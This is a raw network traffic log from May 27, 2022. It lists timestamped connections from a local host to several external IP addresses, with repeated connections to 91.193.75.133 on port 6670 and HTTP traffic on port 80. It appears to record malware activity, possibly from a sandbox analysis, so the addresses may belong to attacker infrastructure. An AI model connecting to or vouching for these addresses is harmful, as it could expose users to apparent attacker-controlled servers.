May 27, 2022 18:42:46.149799109 CEST	49869	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:46.174496889 CEST	6670	49868	91.193.75.133	192.168.2.5
May 27, 2022 18:42:46.190262079 CEST	6670	49869	91.193.75.133	192.168.2.5
May 27, 2022 18:42:46.208650112 CEST	49870	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:46.248558044 CEST	6670	49870	91.193.75.133	192.168.2.5
May 27, 2022 18:42:46.695002079 CEST	49871	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:46.711637020 CEST	49868	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:46.734966040 CEST	6670	49871	91.193.75.133	192.168.2.5
May 27, 2022 18:42:46.751365900 CEST	6670	49868	91.193.75.133	192.168.2.5
May 27, 2022 18:42:46.836669922 CEST	49869	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:46.836683035 CEST	49870	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:46.876542091 CEST	6670	49869	91.193.75.133	192.168.2.5
May 27, 2022 18:42:46.876565933 CEST	6670	49870	91.193.75.133	192.168.2.5
May 27, 2022 18:42:47.414859056 CEST	49871	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:47.414870977 CEST	49868	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:47.446075916 CEST	49870	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:47.446078062 CEST	49869	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:47.455393076 CEST	6670	49871	91.193.75.133	192.168.2.5
May 27, 2022 18:42:47.455435991 CEST	6670	49868	91.193.75.133	192.168.2.5
May 27, 2022 18:42:47.485974073 CEST	6670	49870	91.193.75.133	192.168.2.5
May 27, 2022 18:42:47.486010075 CEST	6670	49869	91.193.75.133	192.168.2.5
May 27, 2022 18:42:48.102530956 CEST	49871	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:48.142394066 CEST	6670	49871	91.193.75.133	192.168.2.5
May 27, 2022 18:42:48.918030977 CEST	49872	80	192.168.2.5	207.174.214.35
May 27, 2022 18:42:49.083444118 CEST	80	49872	207.174.214.35	192.168.2.5
May 27, 2022 18:42:49.083595991 CEST	49872	80	192.168.2.5	207.174.214.35
May 27, 2022 18:42:49.083741903 CEST	49872	80	192.168.2.5	207.174.214.35
May 27, 2022 18:42:49.248852968 CEST	80	49872	207.174.214.35	192.168.2.5
May 27, 2022 18:42:49.263252020 CEST	80	49872	207.174.214.35	192.168.2.5
May 27, 2022 18:42:49.263720036 CEST	49872	80	192.168.2.5	207.174.214.35
May 27, 2022 18:42:49.429225922 CEST	80	49872	207.174.214.35	192.168.2.5
May 27, 2022 18:42:49.429424047 CEST	49872	80	192.168.2.5	207.174.214.35
May 27, 2022 18:42:54.487869024 CEST	49873	80	192.168.2.5	137.220.133.198
May 27, 2022 18:42:54.608524084 CEST	49874	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:54.623245001 CEST	49875	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:54.648467064 CEST	6670	49874	91.193.75.133	192.168.2.5
May 27, 2022 18:42:54.663175106 CEST	6670	49875	91.193.75.133	192.168.2.5
May 27, 2022 18:42:54.849266052 CEST	80	49873	137.220.133.198	192.168.2.5
May 27, 2022 18:42:54.849389076 CEST	49873	80	192.168.2.5	137.220.133.198
May 27, 2022 18:42:54.849509001 CEST	49873	80	192.168.2.5	137.220.133.198
May 27, 2022 18:42:55.210670948 CEST	80	49873	137.220.133.198	192.168.2.5
May 27, 2022 18:42:55.212419033 CEST	49874	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.214488029 CEST	80	49873	137.220.133.198	192.168.2.5
May 27, 2022 18:42:55.214531898 CEST	80	49873	137.220.133.198	192.168.2.5
May 27, 2022 18:42:55.214869022 CEST	49873	80	192.168.2.5	137.220.133.198
May 27, 2022 18:42:55.214932919 CEST	49873	80	192.168.2.5	137.220.133.198
May 27, 2022 18:42:55.239116907 CEST	49876	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.252429962 CEST	6670	49874	91.193.75.133	192.168.2.5
May 27, 2022 18:42:55.279112101 CEST	6670	49876	91.193.75.133	192.168.2.5
May 27, 2022 18:42:55.332441092 CEST	49877	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.337486029 CEST	49875	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.372525930 CEST	6670	49877	91.193.75.133	192.168.2.5
May 27, 2022 18:42:55.377513885 CEST	6670	49875	91.193.75.133	192.168.2.5
May 27, 2022 18:42:55.576050997 CEST	80	49873	137.220.133.198	192.168.2.5
May 27, 2022 18:42:55.837460995 CEST	49876	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.877517939 CEST	6670	49876	91.193.75.133	192.168.2.5
May 27, 2022 18:42:55.915549994 CEST	49874	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.915564060 CEST	49877	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.946803093 CEST	49875	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:55.955634117 CEST	6670	49874	91.193.75.133	192.168.2.5
May 27, 2022 18:42:55.955693960 CEST	6670	49877	91.193.75.133	192.168.2.5
May 27, 2022 18:42:55.986933947 CEST	6670	49875	91.193.75.133	192.168.2.5
May 27, 2022 18:42:56.457926035 CEST	49876	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:56.497853041 CEST	6670	49876	91.193.75.133	192.168.2.5
May 27, 2022 18:42:56.603096008 CEST	49877	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:56.643237114 CEST	6670	49877	91.193.75.133	192.168.2.5
May 27, 2022 18:43:00.334465981 CEST	49879	80	192.168.2.5	162.0.230.89
May 27, 2022 18:43:00.502176046 CEST	80	49879	162.0.230.89	192.168.2.5
May 27, 2022 18:43:00.502296925 CEST	49879	80	192.168.2.5	162.0.230.89
May 27, 2022 18:43:00.507277012 CEST	49879	80	192.168.2.5	162.0.230.89
May 27, 2022 18:43:00.674988985 CEST	80	49879	162.0.230.89	192.168.2.5
May 27, 2022 18:43:00.749012947 CEST	80	49879	162.0.230.89	192.168.2.5
May 27, 2022 18:43:00.749032974 CEST	80	49879	162.0.230.89	192.168.2.5
May 27, 2022 18:43:00.749093056 CEST	49879	80	192.168.2.5	162.0.230.89
May 27, 2022 18:43:03.029417038 CEST	49879	80	192.168.2.5	162.0.230.89
May 27, 2022 18:43:03.196899891 CEST	80	49879	162.0.230.89	192.168.2.5
May 27, 2022 18:43:05.426847935 CEST	49880	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:05.466660023 CEST	6670	49880	91.193.75.133	192.168.2.5
May 27, 2022 18:43:05.484076977 CEST	49881	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:05.523899078 CEST	6670	49881	91.193.75.133	192.168.2.5
May 27, 2022 18:43:05.584398985 CEST	49882	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:05.624357939 CEST	6670	49882	91.193.75.133	192.168.2.5
May 27, 2022 18:43:06.041466951 CEST	49880	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:06.057041883 CEST	49881	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:06.081368923 CEST	6670	49880	91.193.75.133	192.168.2.5
May 27, 2022 18:43:06.097131968 CEST	6670	49881	91.193.75.133	192.168.2.5
May 27, 2022 18:43:06.244574070 CEST	49882	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:06.284830093 CEST	6670	49882	91.193.75.133	192.168.2.5
May 27, 2022 18:43:06.650878906 CEST	49880	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:06.690769911 CEST	6670	49880	91.193.75.133	192.168.2.5
May 27, 2022 18:43:06.744716883 CEST	49881	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:06.784652948 CEST	6670	49881	91.193.75.133	192.168.2.5
May 27, 2022 18:43:06.853996038 CEST	49882	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:06.893898964 CEST	6670	49882	91.193.75.133	192.168.2.5
May 27, 2022 18:43:07.061485052 CEST	49883	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:07.101433039 CEST	6670	49883	91.193.75.133	192.168.2.5
May 27, 2022 18:43:07.651015997 CEST	49883	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:07.690906048 CEST	6670	49883	91.193.75.133	192.168.2.5
May 27, 2022 18:43:08.354157925 CEST	49883	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:08.394131899 CEST	6670	49883	91.193.75.133	192.168.2.5
May 27, 2022 18:43:14.068938017 CEST	49885	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:14.108947039 CEST	6670	49885	91.193.75.133	192.168.2.5
May 27, 2022 18:43:14.186773062 CEST	49886	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:14.228571892 CEST	6670	49886	91.193.75.133	192.168.2.5
May 27, 2022 18:43:14.286051989 CEST	49887	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:14.326911926 CEST	6670	49887	91.193.75.133	192.168.2.5
May 27, 2022 18:43:14.745322943 CEST	49886	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:14.746779919 CEST	49885	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:14.785270929 CEST	6670	49886	91.193.75.133	192.168.2.5
May 27, 2022 18:43:14.786606073 CEST	6670	49885	91.193.75.133	192.168.2.5
May 27, 2022 18:43:14.841013908 CEST	49887	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:14.881841898 CEST	6670	49887	91.193.75.133	192.168.2.5
May 27, 2022 18:43:15.355091095 CEST	49886	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:15.355288982 CEST	49885	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:15.395931005 CEST	6670	49886	91.193.75.133	192.168.2.5
May 27, 2022 18:43:15.395966053 CEST	6670	49885	91.193.75.133	192.168.2.5
May 27, 2022 18:43:15.454766035 CEST	49888	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:15.494589090 CEST	6670	49888	91.193.75.133	192.168.2.5
May 27, 2022 18:43:15.542340994 CEST	49887	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:15.582355022 CEST	6670	49887	91.193.75.133	192.168.2.5
May 27, 2022 18:43:16.042306900 CEST	49888	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:16.082185984 CEST	6670	49888	91.193.75.133	192.168.2.5
May 27, 2022 18:43:16.651779890 CEST	49888	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:16.691843033 CEST	6670	49888	91.193.75.133	192.168.2.5
May 27, 2022 18:43:24.364820957 CEST	49889	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.507142067 CEST	80	49889	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.507277966 CEST	49889	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.507529020 CEST	49889	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.507550001 CEST	49889	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.508093119 CEST	49890	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.650345087 CEST	80	49889	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.652365923 CEST	80	49889	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.652390957 CEST	80	49889	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.652491093 CEST	49889	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.652533054 CEST	49889	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.658442020 CEST	80	49890	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.658545971 CEST	49890	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.664593935 CEST	49890	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.665185928 CEST	49892	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.675307989 CEST	49891	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:24.715290070 CEST	6670	49891	91.193.75.133	192.168.2.5
May 27, 2022 18:43:24.805185080 CEST	49893	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:24.808016062 CEST	80	49892	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.808140039 CEST	49892	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.808360100 CEST	49892	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.815280914 CEST	80	49890	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.815298080 CEST	80	49890	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.815423965 CEST	49890	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.815745115 CEST	80	49890	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.815833092 CEST	49890	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.816142082 CEST	80	49890	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.816203117 CEST	80	49890	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.816210985 CEST	49890	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.816215992 CEST	80	49890	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.816268921 CEST	49890	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.845021009 CEST	6670	49893	91.193.75.133	192.168.2.5
May 27, 2022 18:43:24.924362898 CEST	49894	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:24.950639963 CEST	80	49892	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.950850010 CEST	80	49892	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.950870037 CEST	80	49892	170.39.76.27	192.168.2.5
May 27, 2022 18:43:24.951069117 CEST	49892	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.951153994 CEST	49892	80	192.168.2.5	170.39.76.27
May 27, 2022 18:43:24.958410978 CEST	49895	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:24.964256048 CEST	6670	49894	91.193.75.133	192.168.2.5
May 27, 2022 18:43:24.998270035 CEST	6670	49895	91.193.75.133	192.168.2.5
May 27, 2022 18:43:25.093513966 CEST	80	49892	170.39.76.27	192.168.2.5
May 27, 2022 18:43:25.324347973 CEST	49891	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:25.364182949 CEST	6670	49891	91.193.75.133	192.168.2.5
May 27, 2022 18:43:25.371216059 CEST	49893	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:25.411099911 CEST	6670	49893	91.193.75.133	192.168.2.5
May 27, 2022 18:43:25.488468885 CEST	49894	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:25.527451038 CEST	49895	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:25.528413057 CEST	6670	49894	91.193.75.133	192.168.2.5
May 27, 2022 18:43:25.567445993 CEST	6670	49895	91.193.75.133	192.168.2.5
May 27, 2022 18:43:25.918216944 CEST	49891	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:25.958296061 CEST	6670	49891	91.193.75.133	192.168.2.5
May 27, 2022 18:43:25.980592966 CEST	49893	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:26.020499945 CEST	6670	49893	91.193.75.133	192.168.2.5
May 27, 2022 18:43:26.183861971 CEST	49894	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:26.215132952 CEST	49895	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:26.223885059 CEST	6670	49894	91.193.75.133	192.168.2.5
May 27, 2022 18:43:26.255057096 CEST	6670	49895	91.193.75.133	192.168.2.5
May 27, 2022 18:43:33.114619017 CEST	49896	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:33.151432037 CEST	49897	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:33.154524088 CEST	6670	49896	91.193.75.133	192.168.2.5
May 27, 2022 18:43:33.191354036 CEST	6670	49897	91.193.75.133	192.168.2.5
May 27, 2022 18:43:33.490039110 CEST	49899	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:33.495840073 CEST	49898	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:33.530234098 CEST	6670	49899	91.193.75.133	192.168.2.5
May 27, 2022 18:43:33.535660982 CEST	6670	49898	91.193.75.133	192.168.2.5
May 27, 2022 18:43:33.684397936 CEST	49896	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:33.724348068 CEST	6670	49896	91.193.75.133	192.168.2.5
May 27, 2022 18:43:33.825056076 CEST	49897	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:33.864996910 CEST	6670	49897	91.193.75.133	192.168.2.5
May 27, 2022 18:43:34.133790970 CEST	49898	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:34.173739910 CEST	6670	49898	91.193.75.133	192.168.2.5
May 27, 2022 18:43:34.184528112 CEST	49899	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:34.224519968 CEST	6670	49899	91.193.75.133	192.168.2.5
May 27, 2022 18:43:34.372016907 CEST	49896	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:34.412122965 CEST	6670	49896	91.193.75.133	192.168.2.5
May 27, 2022 18:43:34.528283119 CEST	49897	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:34.568418026 CEST	6670	49897	91.193.75.133	192.168.2.5
May 27, 2022 18:43:34.731448889 CEST	49898	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:34.771590948 CEST	6670	49898	91.193.75.133	192.168.2.5
May 27, 2022 18:43:34.872257948 CEST	49899	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:34.912236929 CEST	6670	49899	91.193.75.133	192.168.2.5
May 27, 2022 18:43:35.039184093 CEST	49901	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.083192110 CEST	80	49901	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.083380938 CEST	49901	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.083694935 CEST	49901	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.083719969 CEST	49901	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.084326982 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.127568007 CEST	80	49901	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.127604961 CEST	80	49901	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.127640963 CEST	80	49901	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.127731085 CEST	49901	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.127756119 CEST	49901	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.128031969 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.128120899 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.153592110 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.154504061 CEST	49903	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.197669983 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.197700024 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.197756052 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.197762012 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.197786093 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.197804928 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.197823048 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.197861910 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.197921038 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.198189020 CEST	80	49903	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.198337078 CEST	49903	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.198582888 CEST	49903	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.241662979 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.241683006 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.241743088 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.241760969 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.241836071 CEST	80	49902	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.241883039 CEST	49902	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.242197990 CEST	80	49903	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.242239952 CEST	80	49903	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.242264032 CEST	80	49903	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.242296934 CEST	80	49903	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.242325068 CEST	80	49903	185.134.245.113	192.168.2.5
May 27, 2022 18:43:35.242362022 CEST	49903	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.242427111 CEST	49903	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.242471933 CEST	49903	80	192.168.2.5	185.134.245.113
May 27, 2022 18:43:35.286309004 CEST	80	49903	185.134.245.113	192.168.2.5
May 27, 2022 18:43:40.433099031 CEST	49904	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.478888035 CEST	80	49904	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.479005098 CEST	49904	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.479224920 CEST	49904	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.479266882 CEST	49904	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.479907990 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.523000956 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.524760962 CEST	80	49904	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.524821997 CEST	80	49904	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.524840117 CEST	80	49904	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.524950981 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.524969101 CEST	49904	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.524986029 CEST	49904	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.558265924 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.585397959 CEST	49906	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.601351023 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.601396084 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.601412058 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.601429939 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.601433992 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.601485014 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.601506948 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.601587057 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.601612091 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.601672888 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.633482933 CEST	80	49906	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.634618044 CEST	49906	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.640177011 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.641005039 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.644587994 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.644624949 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.644644976 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.644696951 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.644714117 CEST	80	49905	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.644747019 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.644767046 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.644769907 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.644772053 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.650485039 CEST	49905	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.666318893 CEST	49906	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.714318991 CEST	80	49906	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.714349985 CEST	80	49906	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.714375973 CEST	80	49906	52.17.85.125	192.168.2.5
May 27, 2022 18:43:40.714529991 CEST	49906	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.714560032 CEST	49906	80	192.168.2.5	52.17.85.125
May 27, 2022 18:43:40.762558937 CEST	80	49906	52.17.85.125	192.168.2.5
May 27, 2022 18:43:43.370553017 CEST	49907	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:43.390427113 CEST	49908	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:43.410867929 CEST	6670	49907	91.193.75.133	192.168.2.5
May 27, 2022 18:43:43.422240973 CEST	49909	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:43.430720091 CEST	6670	49908	91.193.75.133	192.168.2.5
May 27, 2022 18:43:43.443370104 CEST	49910	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:43.462245941 CEST	6670	49909	91.193.75.133	192.168.2.5
May 27, 2022 18:43:43.483170986 CEST	6670	49910	91.193.75.133	192.168.2.5
May 27, 2022 18:43:43.982141972 CEST	49909	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.022073984 CEST	6670	49909	91.193.75.133	192.168.2.5
May 27, 2022 18:43:44.029052973 CEST	49907	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.030256033 CEST	49908	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.068911076 CEST	6670	49907	91.193.75.133	192.168.2.5
May 27, 2022 18:43:44.070067883 CEST	6670	49908	91.193.75.133	192.168.2.5
May 27, 2022 18:43:44.185385942 CEST	49910	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.225333929 CEST	6670	49910	91.193.75.133	192.168.2.5
May 27, 2022 18:43:44.685354948 CEST	49909	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.725805044 CEST	6670	49909	91.193.75.133	192.168.2.5
May 27, 2022 18:43:44.732235909 CEST	49907	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.732826948 CEST	49908	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.772180080 CEST	6670	49907	91.193.75.133	192.168.2.5
May 27, 2022 18:43:44.772577047 CEST	6670	49908	91.193.75.133	192.168.2.5
May 27, 2022 18:43:44.872962952 CEST	49910	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:43:44.912847996 CEST	6670	49910	91.193.75.133	192.168.2.5
May 27, 2022 18:43:48.365108013 CEST	49911	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.383126974 CEST	80	49911	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.383969069 CEST	49911	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.389738083 CEST	49912	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.400423050 CEST	80	49911	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.400599003 CEST	49911	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.406349897 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.406461954 CEST	49912	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.417253971 CEST	80	49911	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.417279959 CEST	80	49911	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.417412996 CEST	49911	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.423079967 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.436122894 CEST	49912	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.436640024 CEST	49913	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.452923059 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.452944994 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.452956915 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.453001976 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.453013897 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.453026056 CEST	80	49912	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.453038931 CEST	49912	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.453039885 CEST	80	49913	185.53.179.171	192.168.2.5
May 27, 2022 18:43:48.453078032 CEST	49912	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.453103065 CEST	49912	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.453165054 CEST	49913	80	192.168.2.5	185.53.179.171
May 27, 2022 18:43:48.469491005 CEST	80	49912	185.53.179.171	192.168.2.5
